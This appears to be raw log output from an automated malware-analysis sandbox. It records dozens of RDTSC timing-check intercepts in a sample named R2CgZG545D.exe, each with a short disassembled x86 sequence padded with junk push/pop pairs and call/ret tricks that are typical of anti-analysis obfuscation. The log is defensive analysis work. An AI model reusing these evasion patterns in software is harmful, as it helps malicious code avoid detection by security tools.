Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D3F7 second address: C6D402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6144D93AD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D402 second address: C6D410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D410 second address: C6D416 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D416 second address: C6D41B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D41B second address: C6D421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C73154 second address: C73159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C72348 second address: C72368 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6144D93AE1h 0x00000008 jmp 00007F6144D93ADBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jne 00007F6144D93AD6h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C73159 second address: C731A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F61453619D8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jl 00007F61453619DCh 0x0000002a mov dword ptr [ebp+122D36F9h], edx 0x00000030 push 00000000h 0x00000032 mov edi, ebx 0x00000034 push 00000000h 0x00000036 sub dword ptr [ebp+122D28B6h], edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jbe 00007F61453619D6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C731A5 second address: C731A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C72428 second address: C7242C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7242C second address: C72432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C72432 second address: C72438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7447B second address: C74483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C77EA7 second address: C77EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C77EB1 second address: C77EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7DFFD second address: C7E006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E170 second address: C7E174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E174 second address: C7E17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E17A second address: C7E180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E311 second address: C7E327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F61453619DAh 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E327 second address: C7E33D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE1h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E4A2 second address: C7E4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 jbe 00007F61453619D6h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F61453619D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E4BA second address: C7E4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E4BE second address: C7E4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C7E4C2 second address: C7E4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C833BB second address: C833DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C83560 second address: C83565 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C83626 second address: C83642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F61453619E3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C83642 second address: C83673 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6144D93ADCh 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6144D93AE8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C83673 second address: C8368C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F61453619DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8368C second address: C83692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C83692 second address: C83696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C83696 second address: C836A7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C882D4 second address: C882DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879B6 second address: C879BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879BA second address: C879CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F61453619D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879CA second address: C879CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879CE second address: C879D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879D4 second address: C879E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6144D93AD6h 0x0000000a je 00007F6144D93AD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879E4 second address: C879F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C879F8 second address: C87A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F6144D93ADAh 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F6144D93ADEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C87A1C second address: C87A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F61453619D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C87B7C second address: C87B83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C87E65 second address: C87E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C87E6B second address: C87E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6144D93AD6h 0x0000000a popad 0x0000000b push esi 0x0000000c jns 00007F6144D93AD6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop esi 0x00000015 jnc 00007F6144D93ADAh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C88149 second address: C8816A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F61453619DFh 0x0000000b jl 00007F61453619D8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8816A second address: C8816E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C58DB0 second address: C4032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F61453619D6h 0x00000009 jmp 00007F61453619DDh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 add ecx, dword ptr [ebp+122D39E5h] 0x00000018 lea eax, dword ptr [ebp+1248CB2Ch] 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F61453619D8h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 jmp 00007F61453619E9h 0x0000003d push eax 0x0000003e js 00007F61453619EAh 0x00000044 pushad 0x00000045 jmp 00007F61453619DCh 0x0000004a ja 00007F61453619D6h 0x00000050 popad 0x00000051 mov dword ptr [esp], eax 0x00000054 xor dword ptr [ebp+122D33BEh], ecx 0x0000005a jmp 00007F61453619E5h 0x0000005f call dword ptr [ebp+122D28D6h] 0x00000065 jns 00007F61453619E6h 0x0000006b push esi 0x0000006c push edi 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5901F second address: C5902E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6144D93ADAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C596DB second address: C596E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A046 second address: C5A04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A04C second address: C5A0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F61453619DCh 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F61453619D8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jnl 00007F61453619D9h 0x0000002d lea eax, dword ptr [ebp+1248CB70h] 0x00000033 jmp 00007F61453619DEh 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F61453619E8h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A0B9 second address: C5A0BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A0BE second address: C5A107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F61453619D8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jmp 00007F61453619DBh 0x00000029 clc 0x0000002a lea eax, dword ptr [ebp+1248CB2Ch] 0x00000030 jnl 00007F61453619D6h 0x00000036 nop 0x00000037 push ecx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A107 second address: C40D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 jmp 00007F6144D93AE1h 0x0000000e nop 0x0000000f call 00007F6144D93AE1h 0x00000014 mov dx, di 0x00000017 pop edx 0x00000018 call dword ptr [ebp+122D1D84h] 0x0000001e jmp 00007F6144D93ADCh 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6144D93AE6h 0x0000002a jmp 00007F6144D93ADBh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8B9C3 second address: C8B9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8B9CB second address: C8B9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6144D93AE0h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8BC9A second address: C8BCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8BE3D second address: C8BE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8BFA9 second address: C8BFAF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8C132 second address: C8C13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8C13F second address: C8C143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8C143 second address: C8C14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8C14E second address: C8C154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C8C154 second address: C8C163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jne 00007F6144D93ADCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C951AA second address: C951B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C951B0 second address: C951B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C951B6 second address: C951EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F61453619E3h 0x0000000a pushad 0x0000000b jmp 00007F61453619E7h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C95618 second address: C9563B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F6144D93AE5h 0x0000000b je 00007F6144D93AD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C957FC second address: C95800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C95AC6 second address: C95ADA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6144D93AD6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F6144D93AD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C95ADA second address: C95ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C95C2D second address: C95C49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6144D93AE1h 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C95DE3 second address: C95DE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C95DE7 second address: C95DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C960E5 second address: C9612E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F61453619E2h 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F61453619E2h 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007F61453619D6h 0x00000023 jp 00007F61453619D6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9612E second address: C9613C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F6144D93AD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9613C second address: C96140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9B97D second address: C9B983 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9A779 second address: C9A780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9A780 second address: C9A787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9A787 second address: C9A7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F61453619E7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9AA0C second address: C9AA13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9ADE2 second address: C9ADED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9ADED second address: C9ADF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F6144D93AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9ADF9 second address: C9ADFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9ADFF second address: C9AE0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007F6144D93AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9B3EB second address: C9B3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9B7E0 second address: C9B7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
